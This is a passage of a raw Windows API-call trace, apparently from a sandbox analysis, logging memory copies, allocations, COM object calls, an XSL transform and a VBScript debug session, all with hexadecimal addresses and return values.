_Src=0x1c7e0c, _Size=0x3d | out: _Dst=0x1cf971) returned 0x1cf971 [0148.812] memcpy (in: _Dst=0x1cf9ae, _Src=0x1c7e74, _Size=0x40 | out: _Dst=0x1cf9ae) returned 0x1cf9ae [0148.812] memcpy (in: _Dst=0x1cf9ee, _Src=0x1c7edc, _Size=0x3f | out: _Dst=0x1cf9ee) returned 0x1cf9ee [0148.812] memcpy (in: _Dst=0x1cfa2d, _Src=0x1c7f2c, _Size=0x40 | out: _Dst=0x1cfa2d) returned 0x1cfa2d [0148.812] memcpy (in: _Dst=0x1cfa6d, _Src=0x1c7f7c, _Size=0x40 | out: _Dst=0x1cfa6d) returned 0x1cfa6d [0148.812] memcpy (in: _Dst=0x1cfaad, _Src=0x1c7fcc, _Size=0x40 | out: _Dst=0x1cfaad) returned 0x1cfaad [0148.812] memcpy (in: _Dst=0x1cfaed, _Src=0x1c801c, _Size=0x40 | out: _Dst=0x1cfaed) returned 0x1cfaed [0148.812] memcpy (in: _Dst=0x1cfb2d, _Src=0x1c8084, _Size=0x40 | out: _Dst=0x1cfb2d) returned 0x1cfb2d [0148.813] memcpy (in: _Dst=0x1cfb6d, _Src=0x1c80d4, _Size=0x40 | out: _Dst=0x1cfb6d) returned 0x1cfb6d [0148.813] memcpy (in: _Dst=0x1cfbad, _Src=0x1c8124, _Size=0x3f | out: _Dst=0x1cfbad) returned 0x1cfbad [0148.813] memcpy (in: _Dst=0x1cfbec, _Src=0x1c8174, _Size=0x40 | out: _Dst=0x1cfbec) returned 0x1cfbec [0148.813] memcpy (in: _Dst=0x1cfc2c, _Src=0x1c81c4, _Size=0x3e | out: _Dst=0x1cfc2c) returned 0x1cfc2c [0148.813] memcpy (in: _Dst=0x1cfc6a, _Src=0x1c8214, _Size=0x9 | out: _Dst=0x1cfc6a) returned 0x1cfc6a [0148.813] memcpy (in: _Dst=0x1cfc78, _Src=0x1c8270, _Size=0x60 | out: _Dst=0x1cfc78) returned 0x1cfc78 [0148.813] memcpy (in: _Dst=0x1cfcd8, _Src=0x1c82dc, _Size=0x40 | out: _Dst=0x1cfcd8) returned 0x1cfcd8 [0148.813] memcpy (in: _Dst=0x1cfd18, _Src=0x1c832c, _Size=0x40 | out: _Dst=0x1cfd18) returned 0x1cfd18 [0148.813] memcpy (in: _Dst=0x1cfd58, _Src=0x1c837c, _Size=0x3d | out: _Dst=0x1cfd58) returned 0x1cfd58 [0148.813] memcpy (in: _Dst=0x1cfd95, _Src=0x1c83cc, _Size=0x40 | out: _Dst=0x1cfd95) returned 0x1cfd95 [0148.813] memcpy (in: _Dst=0x1cfdd5, _Src=0x1c841c, _Size=0x3d | out: _Dst=0x1cfdd5) returned 0x1cfdd5 [0148.813] memcpy (in: _Dst=0x1cfe12, _Src=0x1c846c, _Size=0x40 | out: _Dst=0x1cfe12) returned 0x1cfe12 [0148.813] memcpy (in: _Dst=0x1cfe52, _Src=0x1c84bc, _Size=0x40 | out: _Dst=0x1cfe52) returned 0x1cfe52 [0148.813] memcpy (in: _Dst=0x1cfe92, _Src=0x1c850c, _Size=0x40 | out: _Dst=0x1cfe92) returned 0x1cfe92 [0148.813] memcpy (in: _Dst=0x1cfed2, _Src=0x1c855c, _Size=0x40 | out: _Dst=0x1cfed2) returned 0x1cfed2 [0148.813] memcpy (in: _Dst=0x1cff12, _Src=0x1c85ac, _Size=0x3f | out: _Dst=0x1cff12) returned 0x1cff12 [0148.814] memcpy (in: _Dst=0x1cff58, _Src=0x1c8608, _Size=0x48 | out: _Dst=0x1cff58) returned 0x1cff58 [0148.814] memcpy (in: _Dst=0x1cffa0, _Src=0x1c865c, _Size=0x40 | out: _Dst=0x1cffa0) returned 0x1cffa0 [0148.814] memcpy (in: _Dst=0x1cffe0, _Src=0x1c86ac, _Size=0x3d | out: _Dst=0x1cffe0) returned 0x1cffe0 [0148.814] memcpy (in: _Dst=0x1d001d, _Src=0x1c86fc, _Size=0x9 | out: _Dst=0x1d001d) returned 0x1d001d [0148.814] ??2@YAPEAX_K@Z () returned 0x2cc8c0 [0148.815] free (_Block=0x1bdfd0) [0148.815] free (_Block=0x2ce0f0) [0148.816] ??3@YAXPEAX@Z () returned 0x320037007a0001 [0148.816] free (_Block=0x2cf290) [0148.817] free (_Block=0x1cbb60) [0148.817] free (_Block=0x1c7b50) [0148.818] free (_Block=0x1c3810) [0148.818] free (_Block=0x1c1800) [0148.818] free (_Block=0x1c07f0) [0148.819] free (_Block=0x1bffe0) [0148.819] free (_Block=0x2cf8b0) [0148.819] free (_Block=0x2cf6a0) [0148.820] free (_Block=0x2ca100) [0148.820] ??2@YAPEAX_K@Z () returned 0x2cd9f0 [0148.820] ??2@YAPEAX_K@Z () returned 0x2ce0f0 [0148.820] malloc (_Size=0x10) returned 0x2cc8a0 [0148.820] memcpy (in: _Dst=0x2cc8a0, _Src=0x1af060, _Size=0x10 | out: _Dst=0x2cc8a0) returned 0x2cc8a0 [0148.821] free (_Block=0x2ce020) [0148.822] GetUserDefaultLCID () returned 0x409 [0148.822] GetACP () returned 0x4e4 [0148.822] ??3@YAXPEAX@Z () returned 0x32003800760001 [0148.822] ISystemDebugEventFire:EndSession (This=0x3a90a0) returned 0x0 [0148.822] IUnknown:Release (This=0x3a90a0) returned 0x1 [0148.822] ??3@YAXPEAX@Z () returned 0x73132b01 [0148.822] ??3@YAXPEAX@Z () returned 0x73132b01 [0148.823] IUnknown:Release (This=0x3a90a0) returned 0x0 [0148.823] DllRegisterServer () returned 0x0 [0148.823] XSLTemplate:IXSLTemplate:createProcessor (in: This=0x21d7620, ppProcessor=0x1af620 | out: ppProcessor=0x1af620*=0x21d8df0) returned 0x0 [0148.824] FreeThreadedDOMDocument:IUnknown:AddRef (This=0x21d71d0) returned 0x2 [0148.824] IXSLProcessor:put_input (This=0x21d8df0, input=0x1af860*(varType=0x9, wReserved1=0xf447, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x21d71d0, varVal2=0x1)) returned 0x0 [0148.824] GetStdHandle (nStdHandle=0xfffffff5) returned 0x19c [0148.824] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x19c, lpConsoleScreenBufferInfo=0x1af520 | out: lpConsoleScreenBufferInfo=0x1af520) returned 0 [0148.825] GetStdHandle (nStdHandle=0xfffffff5) returned 0x19c [0148.825] GetFileType (hFile=0x19c) returned 0x3 [0148.825] IXSLProcessor:transform (in: This=0x21d8df0, pDone=0x1af8d8 | out: pDone=0x1af8d8*=0xffff) returned 0x0 [0148.851] GetCurrentThreadId () returned 0xfbc [0148.851] ??2@YAPEAX_K@Z () returned 0x2cdec0 [0148.851] ??2@YAPEAX_K@Z () returned 0x2c86c0 [0148.851] GetCurrentThreadId () returned 0xfbc [0148.851] ??2@YAPEAX_K@Z () returned 0x2cdf90 [0148.852] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0148.852] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1af340, cchData=6 | out: lpLCData="1252") returned 5 [0148.852] IsValidCodePage (CodePage=0x4e4) returned 1 [0148.852] DllRegisterServer () returned 0x0 [0148.852] CoCreateInstance (in: rclsid=0x7fef472d5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef472d5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x2cdd98 | out: ppv=0x2cdd98*=0x3a90a0) returned 0x0 [0148.853] IUnknown:AddRef (This=0x3a90a0) returned 0x2 [0148.853] GetCurrentProcessId () returned 0xfb8 [0148.853] GetCurrentThreadId () returned 0xfbc [0148.853] GetTickCount () returned 0xa69494 [0148.853] ISystemDebugEventFire:BeginSession (This=0x3a90a0, guidSourceID=0x7fef472d5d8, strSessionName="VBScript:00004024:00004028:10917012") returned 0x0 [0148.853] GetCurrentThreadId () returned 0xfbc [0148.853] ??2@YAPEAX_K@Z () returned 0x2ce020 [0148.855] ??2@YAPEAX_K@Z () returned 0x2cc880 [0148.855] ??2@YAPEAX_K@Z () returned 0x2ce070 [0148.855] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0148.858] malloc (_Size=0x988) returned 0x2ce120 [0148.858] GetCurrentThreadId () returned 0xfbc [0148.859] DllRegisterServer () returned 0x0 [0148.859] ??2@YAPEAX_K@Z () returned 0x2ceab0 [0148.946] ??2@YAPEAX_K@Z () returned 0x2ceb00 [0148.946] malloc (_Size=0x80) returned 0x2cec00 [0148.946] malloc (_Size=0x108) returned 0x2ca100 [0148.946] memcpy (in: _Dst=0x2ca148, _Src=0x1cc058, _Size=0x1a | out: _Dst=0x2ca148) returned 0x2ca148 [0148.946] ??2@YAPEAX_K@Z () returned 0x2cec90 [0148.947] memcpy (in: _Dst=0x2ca1a8, _Src=0x1cc07c, _Size=0xc | out: _Dst=0x2ca1a8) returned 0x2ca1a8 [0148.947] ??2@YAPEAX_K@Z () returned 0x2cece0 [0148.947] malloc (_Size=0x208) returned 0x2ced30 [0148.947] memcpy (in: _Dst=0x2ced78, _Src=0x1cc090, _Size=0x18 | out: _Dst=0x2ced78) returned 0x2ced78 [0148.947] ??2@YAPEAX_K@Z () returned 0x2cef40 [0148.948] memcpy (in: _Dst=0x2cedd0, _Src=0x1cc0b0, _Size=0x14 | out: _Dst=0x2cedd0) returned 0x2cedd0 [0148.948] ??2@YAPEAX_K@Z () returned 0x2cef90 [0148.948] memcpy (in: _Dst=0x2cee28, _Src=0x1cc0cc, _Size=0x1c | out: _Dst=0x2cee28) returned 0x2cee28 [0148.948] ??2@YAPEAX_K@Z () returned 0x2cefe0 [0148.949] memcpy (in: _Dst=0x2cee88, _Src=0x1cc0f0, _Size=0x14 | out: _Dst=0x2cee88) returned 0x2cee88 [0148.949] GetCurrentThreadId () returned 0xfbc [0148.950] memcpy (in: _Dst=0x2ceee0, _Src=0x1cc10c, _Size=0xc | out: _Dst=0x2ceee0) returned 0x2ceee0 [0148.950] GetCurrentThreadId () returned 0xfbc [0148.950] malloc (_Size=0x408) returned 0x2cf030 [0148.950] memcpy (in: _Dst=0x2cf078, _Src=0x1cc120, _Size=0x12 | out: _Dst=0x2cf078) returned 0x2cf078 [0148.950] GetCurrentThreadId () returned 0xfbc [0148.951] memcpy (in: _Dst=0x2cf0d0, _Src=0x1cc13c, _Size=0xe | out: _Dst=0x2cf0d0) returned 0x2cf0d0 [0148.951] GetCurrentThreadId () returned 0xfbc [0148.951] memcpy (in: _Dst=0x2cf120, _Src=0x1cc154, _Size=0x6 | out: _Dst=0x2cf120) returned 0x2cf120 [0148.951] GetCurrentThreadId () returned 0xfbc [0148.952] memcpy (in: _Dst=0x2cf168, _Src=0x1cc164, _Size=0xc | out: _Dst=0x2cf168) returned 0x2cf168 [0148.952] GetCurrentThreadId () returned 0xfbc [0148.952] memcpy (in: _Dst=0x2cf1b8, _Src=0x1cc178, _Size=0x12 | out: _Dst=0x2cf1b8) returned 0x2cf1b8 [0148.952] GetCurrentThreadId () returned 0xfbc [0148.953] memcpy (in: _Dst=0x2cf210, _Src=0x1cc194, _Size=0x14 | out: _Dst=0x2cf210) returned 0x2cf210 [0148.953] GetCurrentThreadId () returned 0xfbc [0148.953] memcpy (in: _Dst=0x2cf268, _Src=0x1cc1b0, _Size=0xa | out: _Dst=0x2cf268) returned 0x2cf268 [0148.953] GetCurrentThreadId () returned 0xfbc [0148.953] memcpy (in: _Dst=0x2cf2b8, _Src=0x1cc1c4, _Size=0x1a | out: _Dst=0x2cf2b8) returned 0x2cf2b8 [0148.959] ??2@YAPEAX_K@Z () returned 0x2cf440 [0149.199] GetCurrentThreadId () returned 0xfbc [0149.199] DllRegisterServer () returned 0x0 [0149.199] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.199] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.200] GetCurrentThreadId () returned 0xfbc [0149.201] DllRegisterServer () returned 0x0 [0149.201] GetCurrentThreadId () returned 0xfbc [0149.201] realloc (_Block=0x0, _Size=0xc8) returned 0x2cf900 [0149.202] memcpy (in: _Dst=0x2cf900, _Src=0x7fef4740800, _Size=0x10 | out: _Dst=0x2cf900) returned 0x2cf900 [0149.202] memcpy (in: _Dst=0x2cf910, _Src=0x7fef472f2c8, _Size=0x6 | out: _Dst=0x2cf910) returned 0x2cf910 [0149.202] memcpy (in: _Dst=0x2cf916, _Src=0x7fef472f2d0, _Size=0x18 | out: _Dst=0x2cf916) returned 0x2cf916 [0149.202] ??2@YAPEAX_K@Z () returned 0x2c8740 [0149.202] malloc (_Size=0x1008) returned 0x1d0030 [0149.202] ??2@YAPEAX_K@Z () returned 0x2cf9d0 [0149.202] malloc (_Size=0x2008) returned 0x1d1040 [0149.203] memcpy (in: _Dst=0x1d1074, _Src=0x27d1930, _Size=0x18 | out: _Dst=0x1d1074) returned 0x1d1074 [0149.203] malloc (_Size=0x108) returned 0x2ca210 [0149.203] memcpy (in: _Dst=0x1d10c4, _Src=0x27d194a, _Size=0x8 | out: _Dst=0x1d10c4) returned 0x1d10c4 [0149.203] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.203] malloc (_Size=0x208) returned 0x2cf9d0 [0149.204] malloc (_Size=0x40) returned 0x2cd220 [0149.204] malloc (_Size=0x138) returned 0x2cfbe0 [0149.204] memcpy (in: _Dst=0x2cfbe0, _Src=0x1aec20, _Size=0x30 | out: _Dst=0x2cfbe0) returned 0x2cfbe0 [0149.204] memcpy (in: _Dst=0x2cfc18, _Src=0x1d10c4, _Size=0xa | out: _Dst=0x2cfc18) returned 0x2cfc18 [0149.204] memcpy (in: _Dst=0x2cfc2c, _Src=0x1d1074, _Size=0x1a | out: _Dst=0x2cfc2c) returned 0x2cfc2c [0149.204] memcpy (in: _Dst=0x2cfc48, _Src=0x0, _Size=0x0 | out: _Dst=0x2cfc48) returned 0x2cfc48 [0149.204] memcpy (in: _Dst=0x2cfc48, _Src=0x2cd220, _Size=0x8 | out: _Dst=0x2cfc48) returned 0x2cfc48 [0149.204] memcpy (in: _Dst=0x2cfc58, _Src=0x1af1e0, _Size=0x20 | out: _Dst=0x2cfc58) returned 0x2cfc58 [0149.205] memcpy (in: _Dst=0x2cfc78, _Src=0x2cf900, _Size=0x30 | out: _Dst=0x2cfc78) returned 0x2cfc78 [0149.205] memcpy (in: _Dst=0x2cfca8, _Src=0x27d1930, _Size=0x24 | out: _Dst=0x2cfca8) returned 0x2cfca8 [0149.205] memcpy (in: _Dst=0x2cfcd0, _Src=0x2cf9f0, _Size=0x30 | out: _Dst=0x2cfcd0) returned 0x2cfcd0 [0149.205] memcpy (in: _Dst=0x2cfd00, _Src=0x2cfa2c, _Size=0x13 | out: _Dst=0x2cfd00) returned 0x2cfd00 [0149.205] ??2@YAPEAX_K@Z () returned 0x2cc8e0 [0149.205] free (_Block=0x1d1040) [0149.206] free (_Block=0x1d0030) [0149.206] ??3@YAXPEAX@Z () returned 0x320039007a0001 [0149.206] free (_Block=0x2cd220) [0149.207] free (_Block=0x2cf9d0) [0149.207] free (_Block=0x2ca210) [0149.207] ??2@YAPEAX_K@Z () returned 0x2ce070 [0149.207] realloc (_Block=0x2cc8a0, _Size=0x40) returned 0x2cd220 [0149.207] memcpy (in: _Dst=0x2cd230, _Src=0x1af0c0, _Size=0x10 | out: _Dst=0x2cd230) returned 0x2cd230 [0149.208] ??2@YAPEAX_K@Z () returned 0x2cd270 [0149.209] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.209] GetCurrentThreadId () returned 0xfbc [0149.209] DllRegisterServer () returned 0x0 [0149.210] memcpy (in: _Dst=0x2cf318, _Src=0x2cfc18, _Size=0xa | out: _Dst=0x2cf318) returned 0x2cf318 [0149.212] GetCurrentThreadId () returned 0xfbc [0149.212] DllRegisterServer () returned 0x0 [0149.212] ??3@YAXPEAX@Z () returned 0x44006e000c0001 [0149.212] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.213] free (_Block=0x2cfbe0) [0149.213] ??3@YAXPEAX@Z () returned 0x6e019300540001 [0149.213] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.214] free (_Block=0x2cf900) [0149.214] GetCurrentThreadId () returned 0xfbc [0149.215] realloc (_Block=0x0, _Size=0xc8) returned 0x2cf900 [0149.215] memcpy (in: _Dst=0x2cf900, _Src=0x7fef4740800, _Size=0x10 | out: _Dst=0x2cf900) returned 0x2cf900 [0149.215] memcpy (in: _Dst=0x2cf910, _Src=0x7fef472f2c8, _Size=0x6 | out: _Dst=0x2cf910) returned 0x2cf910 [0149.215] memcpy (in: _Dst=0x2cf916, _Src=0x7fef472f2d0, _Size=0x18 | out: _Dst=0x2cf916) returned 0x2cf916 [0149.215] ??2@YAPEAX_K@Z () returned 0x2c8740 [0149.215] malloc (_Size=0x1008) returned 0x1d0030 [0149.215] ??2@YAPEAX_K@Z () returned 0x2cf9d0 [0149.215] malloc (_Size=0x2008) returned 0x1d1040 [0149.215] memcpy (in: _Dst=0x1d1074, _Src=0x27d1a00, _Size=0x16 | out: _Dst=0x1d1074) returned 0x1d1074 [0149.216] malloc (_Size=0x108) returned 0x2ca210 [0149.216] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.216] malloc (_Size=0x208) returned 0x2cf9d0 [0149.216] malloc (_Size=0x40) returned 0x2cd270 [0149.216] malloc (_Size=0x110) returned 0x2cfbe0 [0149.216] memcpy (in: _Dst=0x2cfbe0, _Src=0x1aec20, _Size=0x30 | out: _Dst=0x2cfbe0) returned 0x2cfbe0 [0149.216] memcpy (in: _Dst=0x2cfc18, _Src=0x1d1074, _Size=0x18 | out: _Dst=0x2cfc18) returned 0x2cfc18 [0149.216] memcpy (in: _Dst=0x2cfc30, _Src=0x0, _Size=0x0 | out: _Dst=0x2cfc30) returned 0x2cfc30 [0149.216] memcpy (in: _Dst=0x2cfc30, _Src=0x2cd270, _Size=0x8 | out: _Dst=0x2cfc30) returned 0x2cfc30 [0149.216] memcpy (in: _Dst=0x2cfc40, _Src=0x1af1e0, _Size=0x20 | out: _Dst=0x2cfc40) returned 0x2cfc40 [0149.216] memcpy (in: _Dst=0x2cfc60, _Src=0x2cf900, _Size=0x30 | out: _Dst=0x2cfc60) returned 0x2cfc60 [0149.217] memcpy (in: _Dst=0x2cfc90, _Src=0x27d1a00, _Size=0x1a | out: _Dst=0x2cfc90) returned 0x2cfc90 [0149.217] memcpy (in: _Dst=0x2cfcb0, _Src=0x2cf9f0, _Size=0x30 | out: _Dst=0x2cfcb0) returned 0x2cfcb0 [0149.217] memcpy (in: _Dst=0x2cfce0, _Src=0x2cfa2c, _Size=0xe | out: _Dst=0x2cfce0) returned 0x2cfce0 [0149.217] ??2@YAPEAX_K@Z () returned 0x2cc8e0 [0149.217] free (_Block=0x1d1040) [0149.218] free (_Block=0x1d0030) [0149.218] ??3@YAXPEAX@Z () returned 0x32003a007a0001 [0149.218] free (_Block=0x2cd270) [0149.218] free (_Block=0x2cf9d0) [0149.219] free (_Block=0x2ca210) [0149.219] ??2@YAPEAX_K@Z () returned 0x2ce070 [0149.220] memcpy (in: _Dst=0x2cd230, _Src=0x1af0c0, _Size=0x10 | out: _Dst=0x2cd230) returned 0x2cd230 [0149.220] ??2@YAPEAX_K@Z () returned 0x2cd270 [0149.220] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.221] GetCurrentThreadId () returned 0xfbc [0149.221] DllRegisterServer () returned 0x0 [0149.222] GetCurrentThreadId () returned 0xfbc [0149.222] DllRegisterServer () returned 0x0 [0149.223] ??3@YAXPEAX@Z () returned 0x440070000c0001 [0149.223] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.223] free (_Block=0x2cfbe0) [0149.223] ??3@YAXPEAX@Z () returned 0x6e019400540001 [0149.223] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.223] free (_Block=0x2cf900) [0149.224] GetCurrentThreadId () returned 0xfbc [0149.224] realloc (_Block=0x0, _Size=0xc8) returned 0x2cf900 [0149.224] memcpy (in: _Dst=0x2cf900, _Src=0x7fef4740800, _Size=0x10 | out: _Dst=0x2cf900) returned 0x2cf900 [0149.224] memcpy (in: _Dst=0x2cf910, _Src=0x7fef472f2c8, _Size=0x6 | out: _Dst=0x2cf910) returned 0x2cf910 [0149.224] memcpy (in: _Dst=0x2cf916, _Src=0x7fef472f2d0, _Size=0x18 | out: _Dst=0x2cf916) returned 0x2cf916 [0149.224] ??2@YAPEAX_K@Z () returned 0x2c8740 [0149.224] malloc (_Size=0x1008) returned 0x1d0030 [0149.224] ??2@YAPEAX_K@Z () returned 0x2cf9d0 [0149.225] malloc (_Size=0x2008) returned 0x1d1040 [0149.225] memcpy (in: _Dst=0x1d1074, _Src=0x27d1bb0, _Size=0x12 | out: _Dst=0x1d1074) returned 0x1d1074 [0149.225] malloc (_Size=0x108) returned 0x2ca210 [0149.225] memcpy (in: _Dst=0x1d10bc, _Src=0x27d1bc4, _Size=0x8 | out: _Dst=0x1d10bc) returned 0x1d10bc [0149.225] ??3@YAXPEAX@Z () returned 0x73132b01 [0149.225] malloc (_Size=0x208) returned 0x2cf9d0 [0149.225] malloc (_Size=0x40) returned 0x2cd270 [0149.225] malloc (_Size=0x128) returned 0x2cfbe0 [0149.225] memcpy (in: _Dst=0x2cfbe0, _Src=0x1aec20, _Size=0x30 | out: _Dst=0x2cfbe0) returned 0x2cfbe0 [0149.226] memcpy (in: _Dst=0x2cfc18, _Src=0x1d10bc, _Size=0xa | out: _Dst=0x2cfc18) returned 0x2cfc18 [0149.226] memcpy (in: _Dst=0x2cfc2c, _Src=0x1d1074, _Size=0x14 | out: _Dst=0x2cfc2c) returned 0x2cfc2c [0149.226] memcpy (in: _Dst=0x2cfc40, _Src=0x0, _Size=0x0 | out: _Dst=0x2cfc40) returned 0x2cfc40 [0149.226] memcpy (in: _Dst=0x2cfc40, _Src=0x2cd270, _Size=0x8 | out: _Dst=0x2cfc40) returned 0x2cfc40 [0149.226] memcpy (in: _Dst=0x2cfc50, _Src=0x1af1e0, _Size=0x20 | out: _Dst=0x2cfc50) returned 0x2cfc50 [0149.226] memcpy (in: _Dst=0x2cfc70, _Src=0x2cf900, _Size=0x30 | out: _Dst=0x2cfc70) returned 0x2cfc70 [0149.226] memcpy (in: _Dst=0x2cfca0, _Src=0x27d1bb0, _Size=0x1e | out: _Dst=0x2cfca0) returned 0x2cfca0 [0149.226] memcpy (in: _Dst=0x2cfcc0, _Src=0x2cf9f0, _Size=0x30 | out: _Dst=0x2cfcc0) returned 0x2cfcc0 [0149.226] memcpy (in: _Dst=0x2cfcf0, _Src=0x2cfa2c, _Size=0x13 | out: _Dst=0x2cfcf0) returned 0x2cfcf0 [0149.226] ??2@YAPEAX_K@Z () returned 0x2cc8e0 [0149.227] free (_Block=0x1d1040) [0149.227] free (_Block=0x1d0030) [0149.227] ??3@YAXPEAX@Z () returned 0x32003b007a0001 [0149.227] free (_Block=0x2cd270) [0149.228] free (_Block=0x2cf9d0) [0149.228] free (_Block=0x2ca210) [0149.230] ??2@YAPEAX_K@Z () returned 0x2ce070 [0149.230] memcpy (in: _Dst=0x2cd230, _Src=0x1af0c0, _Size=0x10 | out: _Dst=0x2cd230) returned 0x2cd230 [0149.231] ??2@YAPEAX_K@Z () returned 0x2cd270 [0149.231] ISystemDebugEventFire:IsActive (This=0x3a90a0) returned 0x1 [0149.231] GetCurrentThreadId () returned 0xfbc [0149.232] DllRegisterServer () returned 0x0 [0149.234] IUnknown:QueryInterface (in: This=0x21e4340, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1adfc0 | out: ppvObject=0x1adfc0*=0x21e4370) returned 0x0 [0149.234] IUnknown:Release (This=0x21e4340) returned 0x1 [0149.234] IUnknown:QueryInterface (in: This=0x21e4370, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1ae2c0 | out: ppvObject=0x1ae2c0*=0x21e4370) returned 0x0 [0149.235] IDispatchEx:GetDispId (in: This=0x21e4370, bstrName="GetNamedItem", grfdex=0x8, pid=0x1ae228 | out: pid=0x1ae228*=83) returned 0x0 [0149.235] IUnknown:Release (This=0x21e4370) returned 0x1 [0149.235] IUnknown:AddRef (This=0x21e4370) returned 0x2 [0149.235] IUnknown:QueryInterface (in: This=0x21e4370, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1adfb0 | out: ppvObject=0x1adfb0*=0x21e4370) returned 0x0 [0149.235] ??2@YAPEAX_K@Z () returned 0x2cf9d0 [0149.236] IDispatchEx:InvokeEx (in: This=0x21e4370, id=83, lcid=0x409, wFlags=0x3, pdp=0x1adf88*(rgvarg=([0]=0x2ce7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x1be758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x1ae1c8, pei=0x1adfd0, pspCaller=0x2cf9d0 | out: pdp=0x1adf88*(rgvarg=([0]=0x2ce7c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="NAME", varVal2=0x1be758)), rgdispidNamedArgs=0x0, cArgs=0x1, cNamedArgs=0x0), pVarRes=0x1ae1c8*(varType=0x9, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x21da280, varVal2=0x0), pei=0x1adfd0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0149.236] IUnknown:Release (This=0x21e4370) returned 0x2 [0149.236] IUnknown:Release (This=0x21e4370) returned 0x1 [0149.236] IUnknown:QueryInterface (in: This=0x21da280, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1adfc0 | out: ppvObject=0x1adfc0*=0x21da2b0) returned 0x0 [0149.236] IUnknown:Release (This=0x21da280) returned 0x1 [0149.236] IUnknown:QueryInterface (in: This=0x21da2b0, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1ae2d8 | out: ppvObject=0x1ae2d8*=0x21da2b0) returned 0x0 [0149.236] IDispatchEx:GetDispId (in: This=0x21da2b0, bstrName="Value", grfdex=0x8, pid=0x1ae22c | out: pid=0x1ae22c*=120) returned 0x0 [0149.237] IUnknown:Release (This=0x21da2b0) returned 0x1 [0149.237] IUnknown:AddRef (This=0x21da2b0) returned 0x2 [0149.237] IUnknown:QueryInterface (in: This=0x21da2b0, riid=0x7fef472d588*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x1adfb0 | out: ppvObject=0x1adfb0*=0x21da2b0) returned 0x0 [0149.237] IDispatchEx:InvokeEx (in: This=0x21da2b0, id=120, lcid=0x409, wFlags=0x3, pdp=0x1adf88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x2ce7d8, pei=0x1adfd0, pspCaller=0x2cf9d0 | out: pdp=0x1adf88*(rgvarg=0x0, rgdispidNamedArgs=0x0, cArgs=0x0, cNamedArgs=0x0), pVarRes=0x2ce7d8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0x0), pei=0x1adfd0*(wCode=0x0, wReserved=0x0, bstrSource=0x0, bstrDescription=0x0, bstrHelpFile=0x0, dwHelpContext=0x0, pvReserved=0x0, pfnDeferredFillIn=0x0, scode=0x0)) returned 0x0 [0149.238] IUnknown:Release (This=0x21da2b0) returned 0x2 [0149.238] IUnknown:Release (This=0x21da2b0) returned 0x1 [0149.239] memcpy (in: _Dst=0x2cf368, _Src=0x7fef4741978, _Size=0x10 | out: _Dst=0x2cf368) returned 0x2cf368 [0149.240] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Array", cchCount2=14) returned 1 [0149.241] CompareStringW (Locale=0x409, dwCmpFlags=0x1, lpString1="PROPERTY", cchCount1=8, lpString2="Property.Reference", cchCount2=18) returned 1 [0149.243] memcpy (in: _Dst=0x2cf3b8, _Src=0x7fef4743a60, _Size=0xa | out: _Dst=0x2cf3b8) returned 0x2cf3b8 [0149.243] memcpy (in: _Dst=0x2cf408, _Src=0x7fef4742208, _Size=0x10 | out: 